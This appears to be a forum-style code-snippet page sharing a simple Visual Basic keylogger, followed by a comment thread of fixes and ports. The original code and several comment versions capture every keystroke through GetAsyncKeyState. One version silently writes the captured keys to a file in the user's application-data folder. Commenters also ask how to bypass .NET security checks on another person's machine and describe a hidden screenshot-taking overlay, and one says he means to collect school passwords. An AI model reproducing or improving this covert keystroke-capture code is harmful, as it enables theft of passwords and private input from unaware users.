Library code snippets

Simple Key logger

I'm working on a real keylogger, and I was researching how to do them, and after a bit of thinking I came up with this code... it works for a very very basic keylogger, but you'll get tons of unwanted weird characters in your text, so you have to do a lot of modification if you want to use this for a good quality keylogger (like I am).

Just create a timer and a textbox on your form, leave their names as Text1 and Timer1. Set the timer's interval to 1 and make sure it's activated. Copy this code to your form.

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub

Comments

  1. 29 Aug 2007 at 03:02

    i have a question that bothers me for a very long time every time  c these keylog codes posted.
    How do i receive wat was typed?

  2. 03 Aug 2007 at 20:04
    For strange character filter, no1 thought of using

    select case i
    case (something)
    add "This key"
    case else
    add chr(i)
    end select

    ??

    btw, did someone get the Shift function right?












  3. 24 Jun 2007 at 11:35

    Hi,

    Is there also a way to change the aA to a and AA to A with out typing out all the replace commands for every letter?

  4. 13 Jun 2007 at 11:18
    Is this VB.net?
    do you have any idea how to do it in vb6?

    i tried this code in vb6 but i get compilation errors




  5. 06 Apr 2007 at 17:42

    I have the same problem with everything coming out upper case.  The ASCII character number that is returned to the program is the same whether I type an uppercase or lower case letter. 

    Anyone find a fix for this?!?!

  6. 06 Apr 2007 at 08:46

    Ive got a problem...everything is fine on the computer I created the program on but when I test it on my brothers machine it fails to pass a security exception..(System.Security.Permission)

    Now what I want to do is bypass this security check without changing it in the administrative .NET configuration manually. So is there any way that you can adjust the settings for the .NET permissions of security on the startup of the application automatically with a confirmation screen and then revert back to the normal .NET settings on exit or maybe just bypass all security permission checks altogether?

    So far everything is ok on VB .Net 2005 express.

    Regards,

    Andrew

  7. 04 Apr 2007 at 18:46
    ok i got it to work but now when i hit debug on vb it brings up the form with the text box now how do i see whats being typed?
  8. 04 Apr 2007 at 18:26
    it says name "i" is not declared what do i change it to? vb express 05
  9. 17 Feb 2007 at 07:11

    DDvl wrote:
    realy can you give us the code for VB 2005

    Private

    strLetter As String = ""

    Private ret As Integer

    Private counter As Integer = 0

    Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vkey As Integer) As Integer

    Private

    Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

    Me.Timer1.Interval = 10

    Me.Timer1.Enabled = True

    Me.Timer1.Start()

    End Sub

    Private

    Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick

    For i As Integer = 32 To 128

    ret = 0

    ret = GetAsyncKeyState(i)

    If ret = -32767 Then

    Me.strLetter &= i & vbTab & Chr(i) & vbCrLf

    End If

    Next

    If Me.counter > 60000 Then

    My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\readMe.txt", Me.strLetter, True)

    Me.strLetter = ""

    Me.counter = 0

    End If

    counter += 1

    End Sub
  10. 10 Feb 2007 at 12:29
    realy can you give us the code for VB 2005

  11. 08 Feb 2007 at 13:41

    pcmattman wrote:
    The simplest way to make a non-CPU-hog keylogger is to hook the keyboard and make sure that the message still gets sent to the desitination application. The weird symbols appear because the character appended to the file is not a letter - for instance the character number '220' will return some very strange results in a text editor. Search for an ASCII Code table and then you will see the link betweeen the strange symbols.

    sorry for the double....but there seems to be an error when i try to edit my post and insert a quote...

    anyway,...can you post a tutorial/source code in vb?

  12. 08 Feb 2007 at 13:35

    pcmattman wrote:

    The simplest way to make a non-CPU-hog keylogger is to hook the keyboard and make sure that the message still gets sent to the desitination application. The weird symbols appear because the character appended to the file is not a letter - for instance the character number '220' will return some very strange results in a text editor. Search for an ASCII Code table and then you will see the link betweeen the strange symbols.
    Once you know one language, the rest come easy. Especially if the first is C++ and the second is Visual Basic :P

    can you post a tutorial/source code in vb?

  13. 08 Feb 2007 at 13:34

    juggernot wrote:
    I see. Once I know what the value of i is for a certain button I can easily avoid wierd characters by putting it into an if statement and customizing the text that is added to the textbox. For instance, mouse left click = 1 if chr(i) = chr(1) then me.textbox.text += "(Left Click)"

    try

    if i=keys.lbutton(stands for left mouse button) then

    me.textbox.text &= "(Left Click)"

    end if

  14. 08 Feb 2007 at 13:30
    Natorweb wrote:

    um, can you do this in 2003? It says that i is not declared!

     

     

    Help

     

    For i as integer=32 to 128 step 1

    .....

    next i

  15. 08 Feb 2007 at 13:27

    Hello there! I got the code to work but the output is always in the upper case....the caps lock is not pressed. Could use some help....thanks

  16. 27 Jan 2007 at 03:10

    um, can you do this in 2003? It says that i is not declared!

     

     

    Help

     

  17. 27 Jan 2007 at 03:05
    I see. Once I know what the value of i is for a certain button I can easily avoid wierd characters by putting it into an if statement and customizing the text that is added to the textbox. For instance,
    mouse left click = 1
    if chr(i) = chr(1) then
    me.textbox.text += "(Left Click)"
  18. 27 Jan 2007 at 02:30
    The simplest way to make a non-CPU-hog keylogger is to hook the keyboard and make sure that the message still gets sent to the desitination application. The weird symbols appear because the character appended to the file is not a letter - for instance the character number '220' will return some very strange results in a text editor. Search for an ASCII Code table and then you will see the link betweeen the strange symbols.
  19. 26 Jan 2007 at 23:51
    by wierd symbols, do you mean things such as these:
    @,_,%,#,!,%,
    Because with this code, I can't seem to view any special characters, and I would like to. Could you tell me what needs to be changed in the code to allow special characters?
  20. 17 Sep 2006 at 18:30

    I am currently working on my first keylogger but im not willing to stop short on this one...  I have been doing some browsing on the internet and i have found many usefull tips and tricks.  I also have a cure for the screen hog part.  The way my keylogger will work is the form will be transparent and will cover the whole screen, this is essential for the first benefit of my program.  I am making the program so that it takes a screenshot and saves it every thime the mouse is clicked (down and up).  Since the form is transparent (to an extent) the user can manipulate things beneath the form while unknowingly using the form.  This is the good part for keylogger.  For this keylogger to work though, you have to be able to make it so that everytime a key is pressed on your textbox it sends that key to whichever program or whatever they have bellow your form.  This is done by the ,you guessed it, Sendkeys method.  You can find more information on that online all over the place.

  21. 13 Sep 2006 at 01:06

    Hey, thanks for the help, I got the code to work, but it really seems to be a CPU hog!! Any suggestions on what may be causing this, or how to remedy it?

     

     

  22. 25 Aug 2006 at 21:34
    I got it working on visual basic express 2005!
    ____________________________________________________________________________
    Public Class Form1
        Dim result As Integer
        Dim i As Double
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer


        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Interval = 10
            Timer1.Enabled = True
        End Sub

        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            For i = 32 To 128
                result = 0
                result = GetAsyncKeyState(i)

                If result = -32767 Then
                    TextBox1.Text = TextBox1.Text + Chr(i)
                End If
            Next i
        End Sub
    End Class
    ______________________________________________________________________

























  23. 12 Aug 2006 at 19:05

    when i try to run the code it says name 'i' is not declared


    i am using vb 2005 express

  24. 19 Jul 2006 at 13:20

     

    About the PInvoke error, in this context you van set the vKey type to Integer:

    Private

    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

     

    This is because the Long type was 4 byte in VB6, but in VB.NET is 8 byte

  25. 17 Jul 2006 at 15:37

    Hey, can't seem to get this code to work.

    I am working on VB.net Express.

    I added the code, but I seem to get an error:

    "A call to PInvoke function 'WindowsApplication1!WindowsApplication1.Form1::GetAsyncKeyState' has unbalanced the stack. This is likely because the managed PInvoke signature does not match the unmanaged target signature. Check that the calling convention and parameters of the PInvoke signature match the target unmanaged signature."

     

    And of course it crashes...And ideas?

  26. 04 Jul 2006 at 04:49

    Dim result As Integer

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


    Private Sub Timer1_Timer()

    For i = 32 To 128 'Changed to 32 to 128
    result = 0
    result = GetAsyncKeyState(i)

    If result = -32767 Then
    Text1.Text = Text1.Text + Chr$(i) 'Adding the $ sign
    End If
    Next i
    End Sub



    'That should fix the wierd characters

  27. 21 Jun 2006 at 01:41

    I'm 15, try putting that into C++ and then I'll be impressed.

    C++ is a nightmare with this sort of thing

    Finally, are you using this key logger for legal purposes - I use key loggers on my pc to monitor usage

  28. 24 Apr 2006 at 16:36

    Ty a lot.
    it's only loads of work to get rid of all the weird characters but i'll succeed.
    :-)



  29. 14 Jun 2005 at 06:46

    thanks. im guessing this is visual basic 6.0 so no i will have all the internet passwords in the school.

  30. 08 Jun 2005 at 17:41

    If anyone needs information how to have it saved to a or any VB help, please write to hotmailmemberservices@hotmail.com
    This is not hotmail, rather it is my own personal account, so please feel free to conract me.


    -Defilar

  31. 23 May 2005 at 22:34

    hey thanks for showing me how to make the keylogger but how do i save the keys into an alternate file?

  32. 18 Apr 2005 at 02:23
    Thank you, you saved my ALOT of time
  33. 24 Aug 2004 at 01:39

    Well i was looking at making keyloggers as well and yea,that helped so ty.ur 14? im 14 as well  turing 15 in 2 months.If it wasnt too much troube gimme some help with extending the logger?


    unllimted_carnage@hotmail.com


    add to msn....

  34. 24 Jul 2004 at 23:28
    This is awesome you just saved me a couple days of figuring out how to do it.
    This code should be enough to get me strarting.

    Thanks, from,

    TDc
  35. 01 Jan 1999 at 00:00

    This thread is for discussions of Simple Key logger.

Leave a comment

Sign in or Join us (it's free).

Jamie Lindgren Uhm... I dunno why I'm typing this, cuz nobody is gonna read it probably, but anyway... I am (guess my age!! haha... 14) years old and I like programming, web design, and graphic design. I'm pursui...

Related discussion

Related podcasts

  • Christian Beauclair

    14 mai 2008 (�mission #0074) ::.Christian Beauclair: Stratégies de migration VB6 vers .NET Nous discutons avec Christian Beauclair des stratégies de migration VB6 vers .NET. Entre autres, nous discutons comment utiliser le "VB 6 Code Advisor" et le "Interop Forms Toolkit" pour ajouter la puiss...

Want to stay in touch with what's going on? Follow us on twitter!